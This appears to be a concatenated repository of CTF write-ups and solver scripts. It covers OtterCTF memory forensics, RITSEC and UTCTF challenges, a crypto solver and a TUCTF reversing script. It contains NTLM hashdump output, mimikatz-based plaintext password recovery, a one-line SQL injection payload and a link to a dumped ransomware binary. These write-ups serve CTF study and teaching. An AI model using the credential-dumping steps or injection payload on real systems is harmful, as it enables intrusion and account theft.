this.messageCreator(); 67 | } 68 | ``` 69 | The length of password is 15. So, we have regex with length. Now, I play it with my grepping skills. I was sure it won't let me [down](https://aadityapurani.com/2018/09/16/csaw-ctf-writeups-2018/#whyos) 70 | It all boils down to your critical thinking skills next. 71 | 72 | ``` 73 | $ strings 3720.dmp > analyze.txt 74 | ``` 75 | Now, we have proper textual (yeah garbage). 76 | Intitially it was 20K lines even with exact 15 character strings. Using my grep skillz we went to 2.8K 77 | 78 | ``` 79 | $ grep -E '^.[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/]{14}$' analyze.txt | grep -vE 'Systems|Key|Java|Align|Driver|printer|MCLN|object|software|enough|Afd|enable|System|UUUU|Pos|SU|text|Body|Buffer|Length|match|Document|Un|On|tal|ing|ype|ign|Info|Instance|id32|p1|l1|File|Store|Selector|Available|Dll|Call|Make|maker|Init|Target|Put|Get|Requires|Column|0a1|0h1|0u1|0Z1|Params|resolve|0w1|0L1|0000000000000|Month|ByName|0000|000|2018|GUI|Command|long|status|Permission|IL|Il|Nil|web|NID|Runtime|es|Lower|Delayed|Transition|Bus|Flags|Image|Memory|Window|Loader|Manage|Class|Sink|Sys|Wow|MM|Create' | uniq | wc -l 80 | 2837 81 | ``` 82 | 83 | Now, I can read 2.8K lines 84 | ``` 85 | $ grep -E '^.[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/]{14}$' analyze.txt | grep -vE 'Systems|Key|Java|Align|Driver|printer|MCLN|object|software|enough|Afd|enable|System|UUUU|Pos|SU|text|Body|Buffer|Length|match|Document|Un|On|tal|ing|ype|ign|Info|Instance|id32|p1|l1|File|Store|Selector|Available|Dll|Call|Make|maker|Init|Target|Put|Get|Requires|Column|0a1|0h1|0u1|0Z1|Params|resolve|0w1|0L1|0000000000000|Month|ByName|0000|000|2018|GUI|Command|long|status|Permission|IL|Il|Nil|web|NID|Runtime|es|Lower|Delayed|Transition|Bus|Flags|Image|Memory|Window|Loader|Manage|Class|Sink|Sys|Wow|MM|Create' | uniq | less 86 | ``` 87 | 88 | Output: 89 | ``` 90 | 444444440444444 91 | 66666FFFFFFFFFF 92 | 444444444444433 93 | CLIPBRDWNDCLASS 94 | utav4823DF041B0 95 | aDOBofVYUNVnmp7 96 | 444444440444444 97 | 66666FFFFFFFFFF 98 | 444444444444433 99 | ffnLffnLffnpffm 100 | lemeneoepeqerep 101 | y0N0O0P0Q0R0S0T 102 | N0O0P0Q0R0S0T0z 103 | nfelf&nlunfDnru 104 | ffnLffnLffnpffm 105 | LAeDRCeHNAexNAe 106 | rAetrAeDsAe4sAe 107 | 53eX53eP33eD33e 108 | ... 109 | ``` 110 | 111 | We apply some more critical thinking skills, I reversed the binary and public key was in there `b03f5f7f11d50a3a` but what's the use of public key? A wise man said, we can know in memory area of the dump where it resides. I twisted my grep logic to 16 bytes and looked where my public key is in the memory. 112 | 113 | 114 | ``` 115 | $ grep -E '^.[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/]{15}$' analyze.txt | grep -vE 'Systems|Key|Java|Align|Driver|printer|MCLN|object|software|enough|Afd|enable|System|UUUU|Pos|SU|text|Body|Buffer|Length|match|Document|Un|On|tal|ing|ype|ign|Info|Instance|id32|p1|l1|File|Store|Selector|Available|Dll|Call|Make|maker|Init|Target|Put|Get|Requires|Column|0a1|0h1|0u1|0Z1|Params|resolve|0w1|0L1|0000000000000|Month|ByName|0000|000|2018|GUI|Command|long|status|Permission|IL|Il|Nil|web|ID|Runtime|es|Lower|Delayed|Transition|Bus|Flags|Image|Memory' | uniq | less 116 | ``` 117 | Output: 118 | ``` 119 | ssssssssssssssss 120 | b03f5f7f11d50a3a 121 | CryptoStreamMode 122 | ContainerControl 123 | ICryptoTransform 124 | encryptDirectory 125 | .... 126 | ``` 127 | 128 | Sweet, it's right above. No need to apply energy to go traverse the rabbit hole. Now, we see the previous dump where we are supposed to search `key` 129 | We are supposed to have the `key` right at the very top unless we are superunlucky and key matches one of our invert grep logic, then we will fail. But chances are super duper less. 130 | 131 | Now, we have 2 candidates 132 | ``` 133 | utav4823DF041B0 134 | aDOBofVYUNVnmp7 135 | ``` 136 | I tried each one as flag, and the second one worked. 137 | 138 | ##### Flag: CTF{aDOBofVYUNVnmp7} 139 | 140 | -------------------------------------------------------------------------------- /otterctf-2018/memory-forensics/SillyRick.md: -------------------------------------------------------------------------------- 1 | # Silly Rick 2 | Points: 100 3 | 4 | Description: 5 | ``` 6 | Silly rick always forgets his email's password, so he uses a Stored Password Services online to store his password. He always copy and paste the password so he will not get it wrong. whats rick's email password? 7 | ``` 8 | 9 | 10 | # Solution: 11 | 12 | Rick used stored password services and used copy and paste. Sounds like a job for `clipboard` 13 | 14 | ``` 15 | $ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 clipboard 16 | Volatility Foundation Volatility Framework 2.6 17 | Session WindowStation Format Handle Object Data 18 | ---------- ------------- ------------------ ------------------ ------------------ -------------------------------------------------- 19 | 1 WinSta0 CF_UNICODETEXT 0x602e3 0xfffff900c1ad93f0 M@il_Pr0vid0rs 20 | 1 WinSta0 CF_TEXT 0x10 ------------------ 21 | 1 WinSta0 0x150133L 0x200000000000 ------------------ 22 | 1 WinSta0 CF_TEXT 0x1 ------------------ 23 | 1 ------------- ------------------ 0x150133 0xfffff900c1c1adc0 24 | ``` 25 | 26 | ##### Flag: CTF{M@il_Pr0vid0rs} 27 | -------------------------------------------------------------------------------- /otterctf-2018/memory-forensics/Whats-the-password.md: -------------------------------------------------------------------------------- 1 | # What's the Password 2 | Points: 100 3 | 4 | Description: 5 | ``` 6 | you got a sample of rick's PC's memory. can you get his user password? format: CTF{...} 7 | https://mega.nz/#!sh8wmCIL!b4tpech4wzc3QQ6YgQ2uZnOmctRZ2duQxDqxbkWYipQ 8 | ``` 9 | 10 | If you like to wget: https://transfer.sh/AesNq/OtterCTF.7z 11 | 12 | # Solution: 13 | We are provided a memory sample, to analyze it we use an Open Source Memory Forensics software called [Volatility](https://www.volatilityfoundation.org). 14 | We need to first get a high level summary of what we are analyzing. For that, we can use the `imageinfo` command. There is a good [reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference) 15 | It is highly recommended for viewers to go through the basics of memory forensics before attempting it. This challenge is sort of malware analysis style challenge. That's why this CTF is called Blue-Teaming event for a reason, so before starting thanks to Ultra Lutra for putting this awesome stuff together. 16 | 17 | You can download volatility from github source or if you think life is easy, you can just `apt-get install volatility`. 18 | 19 | First things first, check the image and get the profile 20 | ``` 21 | $ python vol.py -f OtterCTF.vmem imageinfo 22 | Volatility Foundation Volatility Framework 2.6 23 | INFO : volatility.debug : Determining profile based on KDBG search... 24 | Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 25 | AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) 26 | AS Layer2 : FileAddressSpace (/volatility-2.6.1/OtterCTF.vmem) 27 | PAE type : No PAE 28 | DTB : 0x187000L 29 | KDBG : 0xf80002c430a0L 30 | Number of Processors : 2 31 | Image Type (Service Pack) : 1 32 | KPCR for CPU 0 : 0xfffff80002c44d00L 33 | KPCR for CPU 1 : 0xfffff880009ef000L 34 | KUSER_SHARED_DATA : 0xfffff78000000000L 35 | Image date and time : 2018-08-04 19:34:22 UTC+0000 36 | Image local date and time : 2018-08-04 22:34:22 +0300 37 | ``` 38 | 39 | We can use the profile `Win7SP1x64`. Next is to dump the credentials, for that we need `hivelist`. 40 | 41 | ``` 42 | $ python vol.py -f OtterCTF.vmem hivelist --profile=Win7SP1x64 43 | Volatility Foundation Volatility Framework 2.6 44 | Virtual Physical Name 45 | ------------------ ------------------ ---- 46 | 0xfffff8a00377d2d0 0x00000000624162d0 \??\C:\System Volume Information\Syscache.hve 47 | 0xfffff8a00000f010 0x000000002d4c1010 [no name] 48 | 0xfffff8a000024010 0x000000002d50c010 \REGISTRY\MACHINE\SYSTEM 49 | 0xfffff8a000053320 0x000000002d5bb320 \REGISTRY\MACHINE\HARDWARE 50 | 0xfffff8a000109410 0x0000000029cb4410 \SystemRoot\System32\Config\SECURITY 51 | 0xfffff8a00033d410 0x000000002a958410 \Device\HarddiskVolume1\Boot\BCD 52 | 0xfffff8a0005d5010 0x000000002a983010 \SystemRoot\System32\Config\SOFTWARE 53 | 0xfffff8a001495010 0x0000000024912010 \SystemRoot\System32\Config\DEFAULT 54 | 0xfffff8a0016d4010 0x00000000214e1010 \SystemRoot\System32\Config\SAM 55 | 0xfffff8a00175b010 0x00000000211eb010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT 56 | 0xfffff8a00176e410 0x00000000206db410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT 57 | 0xfffff8a002090010 0x000000000b92b010 \??\C:\Users\Rick\ntuser.dat 58 | 0xfffff8a0020ad410 0x000000000db41410 \??\C:\Users\Rick\AppData\Local\Microsoft\Windows\UsrClass.dat 59 | ``` 60 | 61 | We are particularly interested in virtual offset of `SYSTEM` or `SAM` generally. In this case, we first dig through `SYSTEM` 62 | 63 | ``` 64 | $ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 -s 0xfffff8a000024010 hashdump 65 | Volatility Foundation Volatility Framework 2.6 66 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 67 | Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 68 | Rick:1000:aad3b435b51404eeaad3b435b51404ee:518172d012f97d3a8fcc089615283940::: 69 | ``` 70 | 71 | Look at the start of the writeup, your life was easy, now you see NTLM hashes, you go and google search the Administrator's hash it's empty and you see 72 | `518172d012f97d3a8fcc089615283940` on some hash-cracking site with no success in cracking. Is it getting harder? 73 | If it's a memory file, we can basically use mimikatz here, I downloaded the plugin from [here](https://github.com/volatilityfoundation/community/blob/master/FrancescoPicasso/mimikatz.py) 74 | 75 | and then 76 | ``` 77 | $ python vol.py --plugins=./plugin/ -f OtterCTF.vmem --profile=Win7SP1x64 mimikatz 78 | Volatility Foundation Volatility Framework 2.6 79 | Module User Domain Password 80 | -------- ---------------- ---------------- ---------------------------------------- 81 | wdigest Rick WIN-LO6FAF3DTFE MortyIsReallyAnOtter 82 | wdigest WIN-LO6FAF3DTFE$ WORKGROUP 83 | ``` 84 | 85 | ##### Flag: MortyIsReallyAnOtter 86 | 87 | -------------------------------------------------------------------------------- /otterctf-2018/memory-forensics/bit-by-bit.md: -------------------------------------------------------------------------------- 1 | # Bit by Bit 2 | Point 100 3 | 4 | ``` 5 | Find Bitcoin address 6 | ``` 7 | 8 | # Description: 9 | 10 | Now, we need to dump the `vmware-tray.exe` from the memory image. I do it with 11 | ``` 12 | $ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 procdump -D dump/ -p 3720 13 | ``` 14 | If you want to see the dumped exec https://transfer.sh/Dss8z/hidd.exe 15 | It is a real ransomware, so handle with care. and make sure you run it in VMWare / Virtual Box. Well, as you gotta patch the bin before you run it. But as it is a .NET executable, it is trivial to load it into Dnspy and retrieve the Bitcoin address 16 | 17 | ##### Flag: CTF{1MmpEmebJkqXG8nQv4cjJSmxZQFVmFo63M} 18 | -------------------------------------------------------------------------------- /ritsec-2018/DarkpearAI/README.md: -------------------------------------------------------------------------------- 1 | # DarkpearAI 500 points 2 | 3 | 4 | _Writeup:_ 5 | 6 | This problem is based on [Diffie-Hellman](https://hackernoon.com/algorithms-explained-diffie-hellman-1034210d5100). Our goal is to find the Secret Key. The data provided to us are messages between two person (Alice & Bob for instance) & two numbers. 7 | We can identify those numbers provided to us as `base` and prime `modulus`. 8 | 9 | Now, we have 4 known variables. 10 | 11 | ``` 12 | g = 3 13 | n = 371781196966866977144706219746579136461491261 14 | Person1: applepearblue 15 | Person2: darkhorseai 16 | ``` 17 | 18 | We first need to convert those messages into decimal format as correct conversion would matter while performing discrete logarithm. We carefully convert and retrieve 19 | 20 | ``` 21 | m1 = 97112112108101112101097114098108117101 22 | m2 = 100097114107104111114115101097105 23 | ``` 24 | 25 | Diffie-Hellman equations are as follow (where a,b are the secret of Person1 and Person2 respectively): 26 | ``` 27 | m1 = pow(g,a)%n 28 | m2 = pow(g,b)%n 29 | ``` 30 | 31 | For the secret-key our goal is to get 32 | ``` 33 | secretkey = pow(g,a*b)%n 34 | ``` 35 | which requires the information of a,b. Another discrete logarithm problem, but our friend Sage's `discrete_log` would be enough for this (Internally, it implements Pohlig-Hellman) 36 | So, we use the following to crack `a` and `b` 37 | 38 | Then it's a simple equation to get the secretkey. 39 | 40 | The full solver is implemented in [dh-solve.sage](https://github.com/aadityapurani/My-CTF-Solutions/blob/master/ritsec-2018/DarkpearAI/dh-solve.sage) 41 | 42 | ``` 43 | ./sage dh-solve.sage 44 | RITSEC{342060940412689854597111481732886330798298027} 45 | ``` 46 | ##### Flag: RITSEC{342060940412689854597111481732886330798298027} 47 | -------------------------------------------------------------------------------- /ritsec-2018/DarkpearAI/dh-solve.sage: -------------------------------------------------------------------------------- 1 | n=371781196966866977144706219746579136461491261 2 | g=3 3 | 4 | m1 = 97112112108101112101097114098108117101 5 | m2 = 100097114107104111114115101097105 6 | 7 | F = IntegerModRing(n) 8 | 9 | a = discrete_log(F(m1), F(g)) 10 | b = discrete_log(F(m2), F(g)) 11 | 12 | print 'RITSEC{'+str(IntegerModRing(n)(g)**(a*b))+'}' 13 | -------------------------------------------------------------------------------- /ritsec-2018/README.md: -------------------------------------------------------------------------------- 1 | # RITSEC CTF 2018 2 | 3 | Team Rank: 1st place 4 | 5 | Points: 7586 6 | 7 | All tasks solved 8 | 9 | 10 | 11 | _Fun Fact: I did [RC3 2016 Writeups](https://aadityapurani.com/2016/11/21/rc3-ctf-2016-write-ups/) which was organized by same university_ 12 | -------------------------------------------------------------------------------- /ritsec-2018/checkoutcoolfilter/README.md: -------------------------------------------------------------------------------- 1 | # Check out this cool Filter (200 Points) 2 | 3 | Category: Misc 4 | 5 | _Writeup_: 6 | 7 | An image was provided with quite evidently an filter applied. We investigate the image and find a repeated pattern in Blue channel (R,G,B) with a whole byte of size 0x33. 8 | 9 | We recover this 10 | ``` 11 | _Va`RP\x88aVYlW]RTlP\\Z]_R``V\\[lZR``R`ldVaUl_TOlcNYbR`\x8a 12 | ``` 13 | 14 | After thinking a bit, it was evident that the individual ASCII should be converted to decimal and substracted by 13 and again convert back to ASCII. The reason for that was we already know the pre-fix `RITSEC{` so I made analysis & concluded that 15 | 16 | Solver script: [solve_filter.py](https://github.com/aadityapurani/My-CTF-Solutions/blob/master/ritsec-2018/checkoutcoolfilter/solve_filter.py) 17 | 18 | ##### Flag: RITSEC{TIL_JPEG_COMPRESSION_MESSES_WITH_RGB_VALUES} 19 | -------------------------------------------------------------------------------- /ritsec-2018/checkoutcoolfilter/solve_filter.py: -------------------------------------------------------------------------------- 1 | flag="" 2 | final = "_Va`RP\x88aVYlW]RTlP\\Z]_R``V\\[lZR``R`ldVaUl_TOlcNYbR`\x8a" 3 | for i in xrange(0, len(final)): 4 | flag+=chr(ord(final[i])-13) 5 | print flag 6 | -------------------------------------------------------------------------------- /ritsec-2018/spaceforces/README.md: -------------------------------------------------------------------------------- 1 | # Space Forces (100) 2 | 3 | Category: Web 4 | 5 | _Writeup:_ 6 | 7 | We are provided the following url http://fun.ritsec.club:8005/ .The website has the functionality to fetch the records of ship which contains 3 columns. 8 | Certainly, a very CTF-ish way to promote players to focus on SQL Injection. 9 | 10 | Without further day, we can place `'=''or'` which will list all the data, including the flag. That was quick and a first blood 11 | 12 | ##### Flag: RITSEC{hey_there_h4v3_s0me_point$_3ny2Lx} 13 | -------------------------------------------------------------------------------- /ritsec-2018/tangledweb/README.md: -------------------------------------------------------------------------------- 1 | # The Tangled Web (200 points) 2 | 3 | Category: Web 4 | 5 | _Writeup_ 6 | 7 | The [url](http://fun.ritsec.club:8007) was provided to us. Navigating to that, we can see hyperlinks on the website (a lot of). If we click one of those, it will point to few more. 8 | This same concept I have encountered in HackerRank's CTF (maybe in 2015-1016). I had the code ready actually. 9 | 10 | The solver script : solver.py 11 | 12 | Hence, the idea was to automate the process and list out all the links, The STDOUT was cluttered with 13 | 14 | ``` 15 | Extracting URL : http://fun.ritsec.club:8007/ 16 | Extracting URL : http://fun.ritsec.club:8007/Never.html 17 | Extracting URL : http://fun.ritsec.club:8007/Gonna.html 18 | Extracting URL : http://fun.ritsec.club:8007/Give.html 19 | Extracting URL : http://fun.ritsec.club:8007/You.html 20 | Extracting URL : http://fun.ritsec.club:8007/Up.html 21 | Extracting URL : http://fun.ritsec.club:8007/Feel.html 22 | Extracting URL : http://fun.ritsec.club:8007/The.html 23 | Extracting URL : http://fun.ritsec.club:8007/Love.html 24 | Extracting URL : http://fun.ritsec.club:8007/Tonight.html 25 | Extracting URL : http://fun.ritsec.club:8007/World.html 26 | Extracting URL : http://fun.ritsec.club:8007/Is.html 27 | Extracting URL : http://fun.ritsec.club:8007/Would.html 28 | Extracting URL : http://fun.ritsec.club:8007/Not.html 29 | Extracting URL : http://fun.ritsec.club:8007/Believe.html 30 | Extracting URL : http://fun.ritsec.club:8007/Your.html 31 | Extracting URL : http://fun.ritsec.club:8007/Eyes.html 32 | Extracting URL : http://fun.ritsec.club:8007/If.html 33 | Extracting URL : http://fun.ritsec.club:8007/Ten.html 34 | Extracting URL : http://fun.ritsec.club:8007/Million.html 35 | Extracting URL : http://fun.ritsec.club:8007/Fireflies.html 36 | Extracting URL : http://fun.ritsec.club:8007/Roll.html 37 | Extracting URL : http://fun.ritsec.club:8007/Me.html 38 | Extracting URL : http://fun.ritsec.club:8007/More.html 39 | Extracting URL : http://fun.ritsec.club:8007/Away.html 40 | Extracting URL : http://fun.ritsec.club:8007/From.html 41 | Extracting URL : http://fun.ritsec.club:8007/Freedom.html 42 | Extracting URL : http://fun.ritsec.club:8007/Just.html 43 | Extracting URL : http://fun.ritsec.club:8007/Like.html 44 | Extracting URL : http://fun.ritsec.club:8007/A.html 45 | Extracting URL : http://fun.ritsec.club:8007/Lot.html 46 | Extracting URL : http://fun.ritsec.club:8007/To.html 47 | Extracting URL : http://fun.ritsec.club:8007/Take.html 48 | Extracting URL : http://fun.ritsec.club:8007/Waving.html 49 | Extracting URL : http://fun.ritsec.club:8007/Fl4gggg1337.html 50 | Extracting URL : http://fun.ritsec.club:8007/Stars.html 51 | Extracting URL : http://fun.ritsec.club:8007/Can.html 52 | Extracting URL : http://fun.ritsec.club:8007/Somebody.html 53 | Extracting URL : http://fun.ritsec.club:8007/Once.html 54 | Extracting URL : http://fun.ritsec.club:8007/Told.html 55 | Extracting URL : http://fun.ritsec.club:8007/Tell.html 56 | Extracting URL : http://fun.ritsec.club:8007/When.html 57 | Extracting URL : http://fun.ritsec.club:8007/I.html 58 | Extracting URL : http://fun.ritsec.club:8007/Get.html 59 | Extracting URL : http://fun.ritsec.club:8007/Older.html 60 | Extracting URL : http://fun.ritsec.club:8007/Will.html 61 | Extracting URL : http://fun.ritsec.club:8007/Be.html 62 | Extracting URL : http://fun.ritsec.club:8007/Stronger.html 63 | Extracting URL : http://fun.ritsec.club:8007/Theyll.html 64 | Extracting URL : http://fun.ritsec.club:8007/Call.html 65 | Extracting URL : http://fun.ritsec.club:8007/Its.html 66 | Extracting URL : http://fun.ritsec.club:8007/Gucci.html 67 | Extracting URL : http://fun.ritsec.club:8007/Gang.html 68 | Extracting URL : http://fun.ritsec.club:8007/Ah.html 69 | Extracting URL : http://fun.ritsec.club:8007/Ahhh.html 70 | Extracting URL : http://fun.ritsec.club:8007/Ha.html 71 | Extracting URL : http://fun.ritsec.club:8007/AH.html 72 | Extracting URL : http://fun.ritsec.club:8007/AHHHA.html 73 | Extracting URL : http://fun.ritsec.club:8007/AHHHHH.html 74 | Extracting URL : http://fun.ritsec.club:8007/AHH.html 75 | Extracting URL : http://fun.ritsec.club:8007/AHA.html 76 | ``` 77 | 78 | Nifty, we could figure out http://fun.ritsec.club:8007/Fl4gggg1337.html is something worth to look at. One more hyperlink 79 | http://fun.ritsec.club:8007/Stars.html (Even our script output that) 80 | 81 | ``` 82 | $ echo "UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=" | base64 -d 83 | RITSEC{AR3_Y0U_F3371NG_1T_N0W_MR_KR4B5?!} 84 | ``` 85 | 86 | Also, the comment on the page 87 | ``` 88 | 89 | 90 | ``` 91 | gives rise to a sequel of this challenge (LazyDev) whose write-up you will see in a short-while on the repo. 92 | 93 | ##### Flag: RITSEC{AR3_Y0U_F3371NG_1T_N0W_MR_KR4B5?!} 94 | 95 | 96 | -------------------------------------------------------------------------------- /ritsec-2018/tangledweb/solver.py: -------------------------------------------------------------------------------- 1 | # Ripped of from my very old solution from a Hackerrank CTF :rollsafe: 2 | from bs4 import BeautifulSoup 3 | from sets import Set 4 | import urllib2 5 | import re 6 | 7 | def crawlWeb(url,limit,bull): 8 | global visited_list 9 | if limit==0 : 10 | notvisited_list.add(url) 11 | return 12 | if url not in visited_list : 13 | visited_list.add(url) 14 | try: 15 | print "Extracting URL : "+url 16 | content = urllib2.urlopen(url) 17 | content1 = urllib2.urlopen(url).read() 18 | soup = BeautifulSoup(content, 'lxml') 19 | if content1.find('Secret'): 20 | print content1 21 | for link in soup.findAll('a'): 22 | hiperLink = link.get('href') 23 | if hiperLink and hiperLink[0] != '#' and hiperLink[0]!='/': 24 | if re.match( r'http[s]?://.*', hiperLink , re.I) : 25 | crawlWeb(hiperLink,limit-1,bull) 26 | else : 27 | crawlWeb(bull+hiperLink,limit-1,bull) 28 | except urllib2.URLError, e: 29 | print "Error while opening this link "+url 30 | 31 | 32 | visited_list = Set() 33 | notvisited_list = Set() 34 | 35 | 36 | crawlWeb("http://fun.ritsec.club:8007/", 1000, "http://fun.ritsec.club:8007/") 37 | -------------------------------------------------------------------------------- /ritsec-2018/whatthefgck/README.md: -------------------------------------------------------------------------------- 1 | # What_Th._Fgck (100 points) 2 | 3 | Category: Misc 4 | 5 | _Writeup_: 6 | 7 | Following was provided 8 | ``` 9 | OGK:DI_G;lqk"Kj1;"a"yao";fr3dog0o"vdtnsaoh"patsfk{+ 10 | ``` 11 | 12 | I thought it was best for quip to handle it (although the special characters sort of ruined the party). Partially, I could recover 13 | 14 | ``` 15 | RITSEC{I***t_Th1s_a_far_sup3eri0r_keyboard_layout*} 16 | ``` 17 | 18 | I didn't wanted to brute-guess but a keyboard layout? Hm, that may imply Dvorak. Hence, hovering to http://wbic16.xedoloh.com/dvorak.html 19 | and inputting the challenge text will return back the flag 20 | 21 | ##### Flag: RITSEC{Isn't_Th1s_a_far_sup3eri0r_keyboard_layout?} 22 | -------------------------------------------------------------------------------- /tuctf-2018/README.md: -------------------------------------------------------------------------------- 1 | # TUCTF 2018 2 | 3 | Played when had time in between ASIS CTF Final. No writeups for this one. And most challenges were easy 4 | -------------------------------------------------------------------------------- /tuctf-2018/shoop/README.md: -------------------------------------------------------------------------------- 1 | # Shoop (370) - Reverse Engineering 2 | 3 | -------------------------------------------------------------------------------- /tuctf-2018/shoop/shill.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | stage1="" 3 | stage2="" 4 | final = ['*']*21 5 | goal="jmt_j]tm`q`t_j]mpjtf^" 6 | for k in xrange(0,21): 7 | stage1+= goal[(k+10)%21] 8 | print "stage 1 done" 9 | for j in xrange(0,21): 10 | stage2 += chr(ord(stage1[j])+5) 11 | print "stage 2 done" 12 | for i in xrange(20, -1,-1): 13 | final[21-i-1] = stage2[i] 14 | if len(final) == 21: 15 | print "all shilled" 16 | print "".join(final) 17 | #everybodyrockyourbody 18 | -------------------------------------------------------------------------------- /utctf-2019/Airport-security/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import math 3 | import cmath 4 | 5 | # Credits to my colleague for the automation. 6 | 7 | r = remote("quantumbomb.live", 1337) 8 | 9 | def apply_gate(a1, a2, b1, b2): 10 | r.readuntil("Measure and decide\n")[:-1] 11 | r.writeline("1") 12 | print r.readuntil("4, .4j\n")[:-1] 13 | r.writeline(",".join([str(a1),str(b1),str(a2),str(b2)])) 14 | print r.readline()[:-1] 15 | 16 | 17 | def apply_rotation(div): 18 | angle = math.pi/(2*div) 19 | a1 = math.cos(angle) 20 | b1 = -math.sin(angle)*1j 21 | a2 = -math.sin(angle)*1j 22 | b2 = math.cos(angle) 23 | apply_gate(a1, a2, b1, b2) 24 | 25 | def apply_initial(c1, c2): 26 | a1 = 1 / c1 27 | b1 = 0 28 | a2 = 0 29 | b2 = 0 / c2 30 | apply_gate(a1, a2, b1, b2) 31 | 32 | for i in range(1, 36): 33 | r.readline()[:-1] 34 | print r.readuntil("This is bomb "+str(i)+"\n")[:-1] 35 | qubit_line = r.readline()[:-1] 36 | splt = qubit_line.split(': ')[1].split(' + ') 37 | 38 | # angle = 22.5/365 * 2 * math.pi 39 | 40 | n1 = eval(splt[0][:-4]) 41 | n2 = eval(splt[1][:-4]) 42 | print qubit_line 43 | apply_initial(n1, n2) 44 | trial = 32 45 | for rrr in range(1,trial): 46 | apply_rotation(trial) 47 | print r.readuntil("Measure and decide\n")[:-1] 48 | r.writeline("2") 49 | ss = r.readline()[:-1] 50 | print r.readline()[:-1] 51 | print ss 52 | if "[[1.]] |0>" in ss: 53 | print "y" 54 | r.writeline("y") 55 | else: 56 | print "n" 57 | r.writeline("n") 58 | 59 | r.interactive() 60 | -------------------------------------------------------------------------------- /utctf-2019/Alice-Bob-Meme/solve.sage: -------------------------------------------------------------------------------- 1 | max_val = 84442469965344 2 | M = 108453893951105886914206677306984937223705600011149354906282902016584483568647 3 | # long weierstrass format 4 | EE = EllipticCurve(GF(M),[0,829,0,512,0]) 5 | P = EE((88610873236405736097813831550942828314268128800347374801890968111325912062058, 76792255969188554519144464321650537182337412449605253325780015124365585152539)) 6 | # Q = Pn 7 | Pn = EE((27543889954945113502256551007964501073506795938025836235838339960818915950890, 75922969573987021583641685217441284832467954055295272505357185824478295962572)) 8 | order = EE.order() 9 | subresults = [] 10 | factors = [] 11 | modulus = 1 12 | # Find partial solutions per each factor 13 | for prime, exponent in factor(order): 14 | if prime > 10**9: 15 | break 16 | _factor = prime ** exponent 17 | factors.append(_factor) 18 | P2 = P*(order//_factor) 19 | Pn2 = Pn*(order//_factor) 20 | subresults.append(discrete_log_lambda(Pn2, P2, (0,_factor), '+')) 21 | modulus *= _factor 22 | 23 | # Join partial solutions 24 | n = crt(subresults,factors) 25 | while n < max_val: 26 | if P*n==Pn: 27 | print("n=%d"%n) 28 | break 29 | n+=modulus 30 | # 1213123123131 31 | -------------------------------------------------------------------------------- /utctf-2019/README.md: -------------------------------------------------------------------------------- 1 | #UTCTF 2 | -------------------------------------------------------------------------------- /utctf-2019/crypto-basics/binary.txt: -------------------------------------------------------------------------------- 1 | 01010101 01101000 00101101 01101111 01101000 00101100 00100000 01101100 01101111 01101111 01101011 01110011 00100000 01101100 01101001 01101011 01100101 00100000 01110111 01100101 00100000 01101000 01100001 01110110 01100101 00100000 01100001 01101110 01101111 01110100 01101000 01100101 01110010 00100000 01100010 01101100 01101111 01100011 01101011 00100000 01101111 01100110 00100000 01110100 01100101 01111000 01110100 00101100 00100000 01110111 01101001 01110100 01101000 00100000 01110011 01101111 01101101 01100101 00100000 01110011 01101111 01110010 01110100 00100000 01101111 01100110 00100000 01110011 01110000 01100101 01100011 01101001 01100001 01101100 00100000 01100101 01101110 01100011 01101111 01100100 01101001 01101110 01100111 00101110 00100000 01000011 01100001 01101110 00100000 01111001 01101111 01110101 00100000 01100110 01101001 01100111 01110101 01110010 01100101 00100000 01101111 01110101 01110100 00100000 01110111 01101000 01100001 01110100 00100000 01110100 01101000 01101001 01110011 00100000 01100101 01101110 01100011 01101111 01100100 01101001 01101110 01100111 00100000 01101001 01110011 00111111 00100000 00101000 01101000 01101001 01101110 01110100 00111010 00100000 01101001 01100110 00100000 01111001 01101111 01110101 00100000 01101100 01101111 01101111 01101011 00100000 01100011 01100001 01110010 01100101 01100110 01110101 01101100 01101100 01111001 00101100 00100000 01111001 01101111 01110101 00100111 01101100 01101100 00100000 01101110 01101111 01110100 01101001 01100011 01100101 00100000 01110100 01101000 01100001 01110100 00100000 01110100 01101000 01100101 01110010 01100101 00100000 01101111 01101110 01101100 01111001 00100000 01100011 01101000 01100001 01110010 01100001 01100011 01110100 01100101 01110010 01110011 00100000 01110000 01110010 01100101 01110011 01100101 01101110 01110100 00100000 01100001 01110010 01100101 00100000 01000001 00101101 01011010 00101100 00100000 01100001 00101101 01111010 00101100 00100000 00110000 00101101 00111001 00101100 00100000 01100001 01101110 01100100 00100000 01110011 01101111 01101101 01100101 01110100 01101001 01101101 01100101 01110011 00100000 00101111 00100000 01100001 01101110 01100100 00100000 00101011 00101110 00100000 01010011 01100101 01100101 00100000 01101001 01100110 00100000 01111001 01101111 01110101 00100000 01100011 01100001 01101110 00100000 01100110 01101001 01101110 01100100 00100000 01100001 01101110 00100000 01100101 01101110 01100011 01101111 01100100 01101001 01101110 01100111 00100000 01110100 01101000 01100001 01110100 00100000 01101100 01101111 01101111 01101011 01110011 00100000 01101100 01101001 01101011 01100101 00100000 01110100 01101000 01101001 01110011 00100000 01101111 01101110 01100101 00101110 00101001 00001010 01010100 01101101 01010110 00110011 01001001 01000111 01001110 01101111 01011001 01010111 01111000 01110011 01011010 01010111 00110101 01101110 01011010 01010011 01000101 01100111 01010001 